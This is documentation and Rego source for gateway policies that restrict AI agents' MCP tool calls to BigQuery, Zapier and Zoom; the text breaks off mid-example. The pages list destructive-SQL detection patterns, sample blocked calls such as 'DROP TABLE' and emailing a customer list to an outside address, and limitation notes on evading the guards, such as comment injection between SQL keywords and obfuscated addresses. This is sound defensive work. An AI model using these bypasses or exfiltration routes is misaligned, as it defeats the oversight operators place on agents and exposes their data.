**SOC 2 CC8.1** — supports change management by preventing the agent from making unreviewed schema/DDL changes (non-temporary `CREATE`/`ALTER`/`DROP`) to production data structures outside a controlled data-engineering path. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored cardholder data by role: mutating access to warehouse data over the MCP path is confined to the `data-engineering` group; everyone else is read-only. - **GDPR Art. 5(1)(c)** — supports data minimisation on the agent channel by keeping the agent to `SELECT` reads and blocking bulk-mutating constructs (`MERGE`, `LOAD DATA`, `TRUNCATE`) that rewrite personal-data tables wholesale. - **SOX §802 / 18 U.S.C. §1519** — supports the anti-destruction/alteration of records control by blocking `DROP`/`TRUNCATE`/`DELETE`/`UPDATE` against financially relevant warehouse tables on the agent channel. ## Tool name matching The policy matches BigQuery tools that pass a raw SQL statement, by **suffix** (the gateway prefixes tool names with the configured MCP server name, which is not standardized). Write-capable SQL tools: - `*execute_sql` — Google official remote server + MCP Toolbox `bigquery` toolset (both snake_case, no vendor prefix). Treated as **write-capable** (see Known limitations). - `*query` — ergut/mcp-bigquery-server community server (single `query` tool). - `*execute-query` — LucasHild/mcp-server-bigquery community server (kebab-case). The read-only tool is matched first and **excluded**: - `*_readonly` (covers `execute_sql_readonly`) — always passes, so read-only calls are never blocked even when their SQL text contains a keyword the write guard would otherwise flag. Metadata/read tools that carry no write-capable SQL — `list_dataset_ids`, `list_table_ids`, `get_dataset_info`, `get_table_info`, `list-tables`, `describe-table` — do not end with any write suffix and pass through untouched. ## Argument shape The SQL string is read from `input.payload.args.sql` (the verified key for the official Google/Toolbox servers and for ergut). As a defensive fallback the policy also inspects a `query` key, matching the concatenation of whichever string values are present. LucasHild's `execute-query` passes the SQL **positionally** and its exact argument key is unverified in the landscape note — so on a `*execute-query` tool, when neither `sql` nor `query` is present, the policy reads the positional SQL by treating any non-empty string argument as the query (LucasHild's `execute-query` takes only the SQL string). That positional fallback is scoped to `*execute-query` on purpose: an official `execute_sql` call with an empty `sql` but a present `project_id` still fails closed, because `project_id` is never mistaken for the query. Only string values are inspected everywhere — a crafted non-string value (list/object) is treated as carrying no SQL and, on a write-capable tool, is denied fail closed. ## Examples ### Allowed — read-only SELECT ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "payload": { "name": "bigquery-mcp-execute_sql", "args": { "sql": "SELECT id, created_at, updated_at FROM ds.orders LIMIT 10" } } } } ``` `allow = true` — `created_at`/`updated_at` do not trip `CREATE`/`UPDATE` because the patterns are anchored on word boundaries. ### Allowed — read-only tool passes even with a scary-looking string ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql_readonly", "type": "tool" }, "payload": { "name": "bigquery-mcp-execute_sql_readonly", "args": { "sql": "SELECT 'we should DROP TABLE later' AS note" } } } } ``` `allow = true` — `_readonly` is matched first and excluded from the write guard. ### Denied — destructive SQL ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "payload": { "name": "bigquery-mcp-execute_sql", "args": { "sql": "DROP TABLE ds.customers" } } } } ``` `allow = false` with the mutating-SQL reason. ### Denied — fail closed on empty SQL A call to `bigquery-mcp-execute_sql` with `args: { "sql": "" }` (or no `sql` at all) is denied with the unreadable-SQL reason. ### Allowed — break-glass data-engineering The same `DROP TABLE ds.customers` call succeeds when `input.subject.claims.groups` contains `data-engineering`. ## Composition This policy blocks statement-class mutation on the SQL-carrying tools. Useful companions: - **PF-07 export sibling** — deny `EXPORT DATA OPTIONS(uri='gs://…')` and `EXTERNAL_QUERY` exfiltration constructs, which move data out without looking like a "write tool" and are not in this policy's destructive keyword set. - **PF-23 `fence-sensitive-schemas`** — deny `sql` (and `dataset_id`/`table_id` on metadata tools) referencing regulated datasets (`pii_*`, `finance_*`, `phi_*`) outside the matching data-domain group. - **PF-14 `constrain-aggregator`** — gate the Toolbox AI-analytics tools (`ask_data_insights`, `forecast`, `analyze_contribution`) whose data movement this SQL guard does not see. - **Egress PII/PAN redaction** on `execute_sql`/`query`/`execute_sql_readonly` results, since a permitted `SELECT *` can still return regulated data in bulk. ## Known limitations - **Regex over SQL text, not a parser.** Statement-typing by regex is approximate. A mutating keyword inside a string literal or `--`/`/* */` comment (e.g. `SELECT '… we will DELETE this later'`) is a false positive; multi- statement scripts and `EXECUTE IMMEDIATE` DDL assembled from string fragments can evade naive patterns and are false negatives. Because of this, the policy belongs **paired with a server-side control** — MCP Toolbox `writeMode: blocked` or a read-only IAM role — not relied on alone. Treat it as a high-signal read-only guard, not a SQL firewall. - **Comment/whitespace injection between construct tokens is a false negative.** The multi-word destructive constructs (`TRUNCATE TABLE`, `DROP TABLE/DATASET/SCHEMA`, `LOAD DATA`, `EXECUTE IMMEDIATE`) require the two keywords adjacent across a run of whitespace (`\s+`). A comment placed between them — `DROP /* x */ TABLE ds.t`, `TRUNCATE --c\nTABLE ds.t`, `LOAD /* */ DATA …` — is still valid GoogleSQL and executes destructively, but the `\s+` does not span the comment, so the construct is **not** detected and the call is allowed. (Single-word keywords — `INSERT`/`UPDATE`/`DELETE`/`MERGE`/`ALTER`/ `CALL`/`GRANT` — are atomic and cannot be split this way, so they remain caught regardless of surrounding comments.) A comment-tolerant regex would still miss line-comment, nested-comment, and encoding variants, giving false confidence; the honest posture is the server-side companion control above. Do not rely on this guard alone to block obfuscated DDL. - **`execute_sql` is treated as write-capable.** Google's docs have described `execute_sql` inconsistently across revisions (an earlier revision called it SELECT-only); the existence of a separate `execute_sql_readonly` tool means this policy treats `execute_sql` as write-capable per the landscape note. Verify against your live deployment. - **`CREATE` lookahead is emulated by object-keyword adjacency.** The intended rule is `CREATE` unless it is `CREATE TEMP`/`CREATE TEMPORARY`. OPA's regex engine (RE2) has no negative lookahead, so a persistent create is detected as `CREATE [OR REPLACE] ` where the object keyword (`TABLE`, `VIEW`, `FUNCTION`, `PROCEDURE`, `SCHEMA`, `MATERIALIZED`, `EXTERNAL`, `SNAPSHOT`, `MODEL`, `RESERVATION`, `ASSIGNMENT`, `CAPACITY`, `ROW`, `SEARCH`, `VECTOR`, `AGGREGATE`) must sit **directly after** `CREATE`. A temporary create always puts `TEMP`/`TEMPORARY` between `CREATE` and the object keyword, so it never matches. Requiring adjacency also means an injected `CREATE TEMP` in a comment or string literal cannot suppress the verdict on a real persistent create (an earlier global `CREATE` + `CREATE TEMP` emulation allowed exactly that), and a multi-statement script pairing a temp create with a persistent one is now caught by the persistent create. Residual: a `CREATE` of an object type outside that enumerated list (non-standard GoogleSQL) would be missed, and `CREATE` DDL assembled dynamically inside `EXECUTE IMMEDIATE` string fragments is still a documented multi-statement/string false negative. - **DROP scope is conservative.** The guard matches the data-bearing drops: `DROP TABLE`/`DATASET`/`SCHEMA` plus `DROP SNAPSHOT TABLE`, `DROP EXTERNAL TABLE`, and `DROP MATERIALIZED VIEW` (each destroys stored or materialised data, and the matching `CREATE` of the same object is already blocked, so catching the `DROP` restores that symmetry — a red-team pass found these three slipping past the earlier `DROP\s+(?:TABLE|DATASET|SCHEMA)` pattern because the object keyword is not adjacent to `DROP`). Deliberately **still out of scope** and passing through: `DROP FUNCTION`/`DROP PROCEDURE`/`DROP VIEW` (definitional objects, no row data), and `DROP ROW ACCESS POLICY`/`DROP SEARCH INDEX`/`DROP VECTOR INDEX`/`DROP MODEL`/`DROP RESERVATION`/`DROP ASSIGNMENT` (security, index, and capacity objects). Dropping a row-access policy in particular is a security-weakening act rather than data destruction; gate it with a server-side control or a dedicated policy if it matters in your environment. - **LucasHild argument key unverified.** The `execute-query` SQL argument key is not verified in the landscape note. On a `*execute-query` tool the policy therefore reads the SQL positionally — any non-empty string arg is inspected when no `sql`/`query` key is present — so a legitimate read-only query is not spuriously denied and a destructive one is still caught. If that server ever ships additional string arguments alongside the SQL, the guard errs toward inspecting them all (conservative). Confirm the real key with the dump-input debug technique before relying on this in production. The positional fallback is scoped to `*execute-query`; on `execute_sql`/`query` the SQL must be under `sql`/`query` or the call fails closed. - **Group names are placeholders** — replace `data-engineering` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups`; on Auth0 tenants without RBAC/permissions configured, no `groups` claim reaches the policy and the exemption never fires (fail-closed — everyone is read-only until the claim is wired up). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package bigquery.ingress.guard_warehouse_sql # Deny-by-default: a BigQuery write-capable SQL tool call is permitted only when # it carries readable, read-only SQL, or the caller is an exempt data engineer. default allow := false # --- Read-only tool (matched FIRST and excluded) ----------------------------- # The official Google server exposes `execute_sql_readonly` ("no DML, DDL, or # Python UDFs"). Its name ends with `_readonly`, which we detect before the # write-tool suffix match so a read-only call is NEVER caught by the write guard # — even if the SQL string happens to contain a mutating keyword. This is the # anchor that keeps `execute_sql` (write) from also matching # `execute_sql_readonly` (read). is_readonly_tool if { name := lower(input.resource.name) endswith(name, "_readonly") } # --- Write-capable SQL tools ------------------------------------------------- # Matched by suffix (the gateway prefixes tool names with the configured server # name, which is not standardized): # - `execute_sql` — Google official remote server + MCP Toolbox (write-capable) # - `query` — ergut/mcp-bigquery-server # - `execute-query` — LucasHild/mcp-server-bigquery # `execute-query` also ends with `query`; listing both is harmless and explicit. write_sql_tool_suffixes := [ "execute_sql", "execute-query", "query", ] is_write_sql_tool if { not is_readonly_tool name := lower(input.resource.name) some suffix in write_sql_tool_suffixes endswith(name, suffix) } # --- SQL extraction ---------------------------------------------------------- # Read the statement from `sql` (verified for official/Toolbox/ergut); inspect # `query` as a defensive fallback and match the concatenation of whichever string # values are present. Only string values are considered — a non-string arg yields # no SQL, which on a write-capable tool is denied fail closed below. sql_arg_keys := ["sql", "query"] # Named SQL args — verified for the official/Toolbox `execute_sql` and ergut # `query`. `query` is inspected as a defensive fallback alongside `sql`. sql_values contains v if { some key in sql_arg_keys v := object.get(input.payload.args, key, "") is_string(v) v != "" } # True when a named sql/query arg carries text. Defined independently of # `sql_values` (not derived from it) to avoid rule recursion; it scopes the # positional fallback below. has_named_sql if { some key in sql_arg_keys v := object.get(input.payload.args, key, "") is_string(v) v != "" } # LucasHild's `execute-query` passes the SQL positionally; its exact argument key # is unverified in the landscape note. Scoped to a `*execute-query` tool, and only # when no named sql/query arg is present, treat any non-empty string arg as the # SQL — LucasHild's execute-query takes only the SQL string, so this reads it # regardless of the key name. The scope is deliberate: an official `execute_sql` # call with an empty `sql` but a present `project_id` still fails closed here # (project_id is never mistaken for the query, because the fallback only fires for # `*execute-query`). sql_values contains v if { endswith(lower(input.resource.name), "execute-query") not has_named_sql some val in input.payload.args is_string(val) val != "" v := val } # Concatenate every SQL string found (order-independent — the mutating patterns # below are unanchored searches). Empty when nothing readable was found, so a # write-capable tool then fails closed. sql_text := concat(" ", sort([v | some v in sql_values])) # --- Mutating / destructive statement detection ------------------------------ # Case-insensitive `(?i)` and anchored on word boundaries `\b` so identifiers # like `created_at`, `updated_at`, or `merge_log` do not trip the keywords. # Multi-word constructs (TRUNCATE TABLE; DROP TABLE/DATASET/SCHEMA and the # data-bearing DROP SNAPSHOT TABLE/EXTERNAL TABLE/MATERIALIZED VIEW; LOAD DATA; # EXECUTE IMMEDIATE) require the keywords adjacent (any run of whitespace). # Plain DROP FUNCTION/PROCEDURE/VIEW and DROP ROW ACCESS POLICY/SEARCH INDEX are # deliberately out of scope (see Known limitations, "DROP scope is conservative"). # `CREATE` is handled separately below to emulate the `CREATE (?!TEMP|TEMPORARY)` # lookahead, which RE2 cannot express. base_mutating_pattern := `(?i)(\b(?:INSERT|UPDATE|DELETE|MERGE|ALTER|CALL|GRANT)\b|\bTRUNCATE\s+TABLE\b|\bDROP\s+(?:SNAPSHOT\s+TABLE|EXTERNAL\s+TABLE|MATERIALIZED\s+VIEW|TABLE|DATASET|SCHEMA)\b|\bLOAD\s+DATA\b|\bEXECUTE\s+IMMEDIATE\b)` is_mutating_sql if { regex.match(base_mutating_pattern, sql_text) } # Emulated `CREATE (?!TEMP|TEMPORARY)` without RE2 negative lookahead: match a # persistent create as `CREATE [OR REPLACE] ` where the object # keyword (TABLE, VIEW, FUNCTION, …) sits DIRECTLY after CREATE. A temporary # create always places TEMP/TEMPORARY between CREATE and the object keyword, so it # never matches this adjacency. Requiring adjacency is what makes the guard robust # against a `CREATE TEMP` injected into a comment or string literal elsewhere in # the statement (which the earlier global `CREATE`/`CREATE TEMP` emulation let # suppress the verdict on a real persistent create), and it also catches a # multi-statement script that pairs a temp create with a persistent one. mutating_create_pattern := `(?i)\bCREATE\s+(?:OR\s+REPLACE\s+)?(?:TABLE|VIEW|MATERIALIZED|EXTERNAL|FUNCTION|PROCEDURE|SCHEMA|SNAPSHOT|MODEL|RESERVATION|ASSIGNMENT|CAPACITY|ROW|SEARCH|VECTOR|AGGREGATE)\b` is_mutating_sql if { regex.match(mutating_create_pattern, sql_text) } # --- Identity exemption ------------------------------------------------------ # Break-glass: callers in the `data-engineering` IdP group may run writes/DDL. # The object.get chain fails closed — a missing `subject.claims` object or missing # `groups` claim yields an empty list, so an unauthenticated/unclaimed caller is # never exempt. A `groups` claim that is a bare string (not a list) also fails to # match, since `some g in ` iterates characters. caller_groups := object.get(object.get(input.subject, "claims", {}), "groups", []) is_exempt if { some g in caller_groups g == "data-engineering" } # --- Allow rules ------------------------------------------------------------- # Non-guarded tools pass through: the read-only tool, metadata/read helpers, and # anything else that is not a write-capable SQL tool. allow if { not is_write_sql_tool } # Break-glass data engineers may run any statement on the write-capable tools. allow if { is_write_sql_tool is_exempt } # Ordinary callers may run readable, read-only SQL on a write-capable tool. # Requires the SQL to be present (fail closed on empty) AND non-mutating. allow if { is_write_sql_tool not is_exempt sql_text != "" not is_mutating_sql } # --- Deny reasons ------------------------------------------------------------ reasons contains "This BigQuery statement performs a write, DDL, or otherwise state-changing operation (INSERT, UPDATE, DELETE, MERGE, TRUNCATE TABLE, DROP TABLE/DATASET/SCHEMA, ALTER, non-temporary CREATE, CALL, GRANT, LOAD DATA, or EXECUTE IMMEDIATE) and is blocked on the agent MCP path, which is read-only. Re-issue the query through the read-only tool execute_sql_readonly, or route the write through an approved data-engineering pipeline. If this was a false positive, contact your data platform team." if { is_write_sql_tool not is_exempt sql_text != "" is_mutating_sql } reasons contains "This BigQuery write-capable tool was called with no readable SQL statement, so the guard cannot confirm the call is read-only and blocks it fail-closed. Supply the statement in the `sql` argument and re-issue read-only queries through execute_sql_readonly, or route writes through an approved data-engineering pipeline. If this was a false positive, contact your data platform team." if { is_write_sql_tool not is_exempt sql_text == "" } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block External Sends Hidden in Zapier Instructions URL: https://www.intentbasedpolicy.com/policies/zapier/guard-external-send App(s): zapier | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: zapier.ingress.guard_external_send | Published: 2026-07-12 | Tags: zapier, guard-external-send, ingress, email, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/zapier/guard-external-send/policy.md # zapier / guard-external-send **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on external-recipient match, allow otherwise **Package:** `zapier.ingress.guard_external_send` ## What it does Every Zapier MCP tool — in both the agentic and classic modes — accepts a free-text `instructions` string that Zapier's **server-side AI** uses to fill any unspecified fields. That means a recipient can exist *only* inside `instructions` and be resolved after the gateway has already passed the call: a policy that checks structured recipient fields alone is bypassable by construction. This is the fill-in-the-blanks exfiltration path — the agent messages an outside party via Gmail, Slack, or Outlook through the single Zapier funnel without ever naming them in a typed field. On Zapier write calls, this policy scans **both** the `instructions` string and the typed recipient parameters (`to`, `cc`, `bcc`, `email`, `channel` — at any nesting depth inside the arguments) for email addresses, and denies the call when any address's domain falls outside a configured corporate-domain allowlist (placeholder: `example.com`). Calls with no email-shaped content pass through; reads and non-write tools are never inspected. Callers in a documented IdP group (placeholder: `mcp-zapier-external-send`) are exempt. A caller with no claims is never exempt — the grant fails closed. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information: agent-driven messages to non-corporate email domains are stopped before the call reaches Zapier's funnel; **P6.1** — supports limits on personal-information disclosure to third parties across the 9,000+ apps reachable through one Zapier connector. - **HIPAA §164.530(c)** — supports privacy safeguards by preventing an agent from directing PHI-bearing sends to addresses outside the covered entity's domains, including recipients smuggled into free-text instructions. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing on the agent's outbound path through the Zapier aggregator; **Arts. 44/46** — supports control over agent-visible cross-border transfers by pinning recipients to reviewed corporate domains. ## Tool name matching Write calls are matched case-insensitively against **both** the PARC `input.resource.name` and the still-populated legacy `input.payload.name` alias (same value on `tool_pre_invoke`; checking both means a call whose `resource.name` is absent still fails closed rather than slipping through as a non-write): - `*execute_zapier_write_action` (suffix) — agentic mode's single write funnel for every send/create/update/delete across 9,000+ apps (name verified in Zapier's official MCP docs). - names containing `_send_` or `_create_` — classic (manual configuration) mode's per-action tools, e.g. `gmail_send_email`, `slack_send_message`, `hubspot_create_contact`. The classic inventory is per-account, not fixed; only a handful of names are verified from public client docs, so the policy matches the verb infix rather than exact names. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `zapier-mcp-execute_zapier_write_action`), and that prefix is not standardized — suffix and infix matching keep the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. `send_feedback` (agentic mode, low-risk) does **not** match — its `send_` is name-initial, not the `_send_` infix — and `disable_zapier_action` / read tools never match. ## Argument shape The policy collects text to scan from two sources: 1. **`instructions`** — the free-text string every Zapier tool accepts (documented in Zapier's official MCP docs). This is the portable backstop: whatever the per-action params look like, the string the server-side AI reads is inspected. 2. **Typed recipient keys** — `to`, `cc`, `bcc`, `email`, `channel`, matched case-insensitively **at any nesting depth** inside `input.payload.args` (via `walk`), covering both flat classic-mode params and a nested params envelope inside `execute_zapier_write_action`. String values and arrays of strings are both handled; other value types are skipped (the `instructions` scan still applies). Every collected string is scanned for email-address shapes (`local@domain.tld`); each address's domain is lowercased and compared against `allowed_domains` by **exact match**. Any domain outside the allowlist denies the call. The allowlist ships with a **placeholder** value (`example.com`) — replace it with your organization's real domains at import time. ## Examples ### Allowed — write with internal-only recipient ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-execute_zapier_write_action", "type": "tool" }, "payload": { "name": "zapier-mcp-execute_zapier_write_action", "args": { "action": "gmail_send_email", "instructions": "Send the Q3 summary to alice@example.com with subject 'Q3'." } } } } ``` `allow = true`, no reason. ### Denied — external recipient hidden in instructions ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-execute_zapier_write_action", "type": "tool" }, "payload": { "name": "zapier-mcp-execute_zapier_write_action", "args": { "action": "gmail_send_email", "instructions": "Email the customer list to backup-archive@outsider.net, cc nobody." } } } } ``` `allow = false`, reason instructs the caller to name recipients explicitly and internal-only. ## Composition This policy is single-purpose: it fences the *recipient* dimension of Zapier writes. Useful companions: - `freeze-toolset` — denies the self-modifying meta-tools (`enable_zapier_action`, `write_code_action`, skill writes) so the agent cannot provision a new send path this policy has never seen. - A read-only-posture or role-gated policy on `execute_zapier_write_action` for callers who should not write at all — one rule fences every write across 9,000 apps. - A `default-deny-unknown-tools` (PF-28) allowlist policy for classic mode, so a send tool with an unanticipated verb (`*_post_*`, `*_share_*`) cannot slip past infix matching. - An egress PII-redaction policy on `execute_zapier_read_action` / classic `*_find_*` responses — aggregator reads return raw app data with no source-app DLP. ## Known limitations - **Argument-key names inside `execute_zapier_*_action` are unverified.** The exact key for the action identifier and the params envelope were not verifiable from public docs — confirm against a live gateway capture (dump-input technique) before production. The `instructions`-string scan is the portable backstop and works regardless of the envelope; the recipient-key scan is depth-agnostic (`walk`) to tolerate envelope drift, but a recipient under a key outside the scanned set (`to`, `cc`, `bcc`, `email`, `channel`) is only caught if the address also appears in `instructions`. - **Recipient vs. mention is indistinguishable in free text.** An internal-purpose instruction that merely *mentions* an external address ("tell them to contact support@vendor.example") is denied. This over-blocking is intentional on the exfiltration path — name recipients explicitly and keep message bodies free of external addresses, or use the exemption group. - **Only email-shaped recipients are detected.** Phone numbers (SMS), social handles, usernames, and channel IDs are not email addresses and pass unscanned. Obfuscated addresses ("user AT evil DOT com", base64, addresses split across fields) also evade the regex. Pair with the composition set above for defense in depth. - **Exact-domain allowlist.** Subdomains are not implied: with `example.com` allowlisted, `user@mail.example.com` is denied. List every sending domain explicitly. A look-alike domain that merely *contains* an allowlisted one (`example.com.evil.net`) is correctly denied. - **Classic-mode coverage is send/create verbs only.** `*_update_*` writes (e.g. updating a CRM contact's email to an external address) do not match; add the infix or use a role-gated write posture if that path matters in your inventory. - **Placeholders.** The domain allowlist (`example.com`) and the exemption group (`mcp-zapier-external-send`) are placeholders — replace `example.com` with your corporate domains and map the group to your IdP's real group name at import time. Group names are placeholders — replace them with your IdP's group name at import time. > **Compliance note.** This policy supports alignment with the cited framework controls > **on the MCP path only**. No policy or bundle makes an organization compliant with any > framework; web-UI, native-API, and in-app access are outside the gateway's reach by > design. Validate against your own compliance program before relying on it. ```rego package zapier.ingress.guard_external_send # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Corporate email domain allowlist — PLACEHOLDER value. Replace with your # organization's real domains at import time. Exact match only: list # subdomains explicitly. allowed_domains := {"example.com"} # IdP group whose members may direct Zapier writes at external recipients. # PLACEHOLDER — replace with your IdP's group name at import time. exempt_group := "mcp-zapier-external-send" # Argument keys scanned for email addresses, matched case-insensitively at # any nesting depth: the free-text `instructions` every Zapier tool accepts # (the portable backstop — Zapier's server-side AI fills unspecified fields # from it after the gateway check) plus the common typed recipient keys. scanned_keys := {"instructions", "to", "cc", "bcc", "email", "channel"} # Email-address shape. Conservative: one @, dotted domain, 2+ letter TLD. # The character classes exclude "@", so a match always splits into exactly # two parts around it. email_pattern := `[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}` # Tool arguments, defaulting safely when payload/args are missing entirely. args := object.get(object.get(input, "payload", {}), "args", {}) # Tool-name candidates: the PARC resource.name plus the (deprecated but still # populated on tool hooks) payload.name alias. A write is matched if EITHER # carries a write shape — keying only on resource.name would fail OPEN for a # call whose resource.name is absent. tool_names contains lower(name) if { name := object.get(object.get(input, "resource", {}), "name", "") name != "" } tool_names contains lower(name) if { name := object.get(object.get(input, "payload", {}), "name", "") name != "" } # Agentic mode: the single write funnel for every send/create/update/delete # across 9,000+ apps. Suffix-matched because the gateway prefixes tool names # with the configured MCP server name (e.g. `zapier-mcp-...`). is_write_tool if { some name in tool_names endswith(name, "execute_zapier_write_action") } # Classic mode: per-action tools named `__`, e.g. # `gmail_send_email`, `slack_send_message`, `hubspot_create_contact`. # The `_send_` / `_create_` infix requires a leading underscore, so the # agentic meta-tools `send_feedback` and `create_zapier_skill` (verb-initial # after the server-name hyphen) do not match. is_write_tool if { some name in tool_names contains(name, "_send_") } is_write_tool if { some name in tool_names contains(name, "_create_") } # Allow anything that is not a Zapier write call (reads, discovery, config). allow if { not is_write_tool } # Exempt callers in the documented IdP group. Missing subject, claims, or # groups means no exemption — the grant fails closed. caller_exempt if { subject := object.get(input, "subject", {}) claims := object.get(subject, "claims", {}) groups := object.get(claims, "groups", []) some group in groups group == exempt_group } allow if { is_write_tool caller_exempt } # Allow a write only when no scanned string names an external email domain. allow if { is_write_tool not has_external_recipient } # --- Text collection --- # Walk the entire args tree so recipient keys are found whether the params # are flat (classic mode) or nested inside an envelope (agentic mode — exact # envelope shape unverified from public docs). String values... scannable_texts contains value if { walk(args, [path, value]) count(path) > 0 key := path[count(path) - 1] is_string(key) scanned_keys[lower(key)] is_string(value) } # ...and arrays of strings (e.g. cc lists). Non-string elements are skipped. scannable_texts contains element if { walk(args, [path, value]) count(path) > 0 key := path[count(path) - 1] is_string(key) scanned_keys[lower(key)] is_array(value) some element in value is_string(element) } # --- External-domain detection --- # Every email-shaped match in any scanned string whose (lowercased) domain # is not on the corporate allowlist. Greedy domain matching means a # look-alike like `user@example.com.evil.net` yields the full external # domain, not the allowlisted prefix. external_domains contains domain if { some text in scannable_texts some address in regex.find_n(email_pattern, text, -1) domain := lower(split(address, "@")[1]) not allowed_domains[domain] } has_external_recipient if { count(external_domains) > 0 } reasons contains "This Zapier write call names a recipient outside the corporate email domain allowlist — in a typed recipient field or inside the free-text instructions that Zapier's server-side AI resolves after the gateway check. Name every recipient explicitly and keep them internal-only; do not mention external addresses in instructions. If you need to reach an external recipient, ask your InfoSec team to add the domain to the allowlist. Contact your InfoSec team if this was a false positive." if { is_write_tool not caller_exempt has_external_recipient } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block External Team Chat Invites & Members URL: https://www.intentbasedpolicy.com/policies/zoom/guard-external-chat-invites App(s): zoom | Direction: ingress | Bundles: soc2, gdpr-ccpa, hipaa | Package: zoom.ingress.guard_external_chat_invites | Published: 2026-07-12 | Tags: zoom, guard-external-send, ingress, team-chat, soc2, gdpr-ccpa, hipaa Source: https://github.com/dtwoai/policy-store/blob/main/apps/zoom/guard-external-chat-invites/policy.md # zoom / guard-external-chat-invites **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `zoom.ingress.guard_external_chat_invites` ## What it does Stops a Zoom Team Chat agent from pulling external parties into the organization's chat surface. It guards four write tools and lets every other Team Chat tool pass through: - **`*zoom_chat_contact_add` — denied outright.** Contact invitations can be addressed to arbitrary external email addresses, and the invitee argument is not reliably introspectable, so the whole tool is blocked rather than filtered. Add people who already have accounts to a channel instead, or route a sanctioned external invite through a human. - **`*zoom_chat_channel_members_add` — denied when any address in `user_email_list` is external.** Members whose email domain is outside the corporate-domain allowlist are blocked before they are added to the channel. - **`*zoom_chat_channel_update` — denied when any address in `user_email_list` is external.** Channel update carries the same `channelId` + `user_email_list` signature as `channel_members_add`, so it is a second path to add members to a channel. It is guarded identically: a metadata-only update (rename, permission change) with no `user_email_list` passes untouched, but one that introduces an external address is blocked. Without this, an agent blocked from `channel_members_add` could add the same external members via `channel_update`. - **`*zoom_chat_channel_create` — denied when `new_members_can_see_previous_messages_and_files` is true and any invited address is external.** That flag retroactively exposes the channel's prior messages and files to new members, so creating a history-visible channel that invites an outside domain is blocked. Creating the same channel with the flag off (or with only internal invitees) passes. Addresses are read from `user_email_list` with `object.get`, lowercased, and matched against the domain allowlist. The check is **fail-closed**: if `user_email_list` is present but is not a readable list of addresses, the call is denied rather than allowed. All non-invite Team Chat tools (`*zoom_chat_message_send`, `*zoom_chat_message_update`, channel reads, …) and every non-chat Zoom tool pass through untouched. `*zoom_chat_channel_update` is guarded like `channel_members_add` because it shares the membership-add argument. This is an ingress policy because adding a member or sending an invitation is a write with an immediate, externally visible effect — once the call reaches the Team Chat server the outsider has access. Egress inspection could not undo it. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information outside the boundary: agent-driven Team Chat membership and invitations to non-corporate domains are stopped before they take effect; **P6.1** — supports limits on disclosure of personal information to third parties over the agent's chat path. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing on the agent's Team Chat write path by keeping conversation history and files from reaching unverified external addresses; **Arts. 44/46** — supports control over agent-visible cross-border transfers by pinning chat membership and channel-history exposure to reviewed corporate domains. - **HIPAA §164.308(a)(4)** — supports information access management by keeping non-corporate parties out of Team Chat channels whose messages, files, and retroactively exposed history may carry PHI in healthcare tenants; **§164.502(e)** — supports the business-associate-contract corollary by blocking disclosure of that content to external addresses no BAA covers. ## Tool name matching The four guarded tools are matched case-insensitively by suffix on the tool name — read from **both** the PARC `input.resource.name` and the still-populated legacy `input.payload.name` alias, so the tool is caught if either field carries the suffix (they hold the same value on `tool_pre_invoke`; checking both means a call with `resource.name` absent still fails closed rather than slipping through as a passthrough): - `*zoom_chat_contact_add` - `*zoom_chat_channel_members_add` - `*zoom_chat_channel_update` - `*zoom_chat_channel_create` Zoom's Team Chat sub-server prefixes every tool with `zoom_chat_`, and the DTwo gateway further prefixes the configured MCP server name (e.g. `zoom-team-chat-zoom_chat_contact_add`), so suffix matching keeps the policy portable across server names. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. All other `zoom_chat_*` tools — message send/update, channel reads — are not in the guarded set and pass through. ## Argument shape Invited addresses are read from the `user_email_list` argument, handling both shapes seen in the wild: - an **array of address strings**, and - a **single string** holding a comma- or semicolon-separated list. Each entry is lowercased and its domain is taken as the text after a single `@`. An entry with zero or several `@` signs yields no domain and is treated as **external** (unverifiable), so it is denied rather than skipped. A `user_email_list` that is present but is neither a string nor an array (e.g. an object or a number) is treated as unverifiable and the call is **denied**. Domain matching is a **label-boundary suffix match**: an address is internal when its domain equals an allowlisted domain **or** is a subdomain of one (`user@eu.example.com` matches `example.com`). The boundary requirement stops a look-alike domain such as `evilexample.com` from matching `example.com`. The allowlist ships with **placeholder** values (`example.com`, `example.org`) — replace them with your organization's real domains at import time. ## Examples ### Allowed — internal members only ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-team-chat-zoom_chat_channel_members_add", "type": "tool" }, "payload": { "name": "zoom-team-chat-zoom_chat_channel_members_add", "args": { "channelId": "abc123", "user_email_list": ["alice@example.com", "bob@example.org"] } } } } ``` `allow = true`, no reason. ### Denied — external member ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-team-chat-zoom_chat_channel_members_add", "type": "tool" }, "payload": { "name": "zoom-team-chat-zoom_chat_channel_members_add", "args": { "channelId": "abc123", "user_email_list": ["alice@example.com", "partner@vendor-example.net"] } } } } ``` `allow = 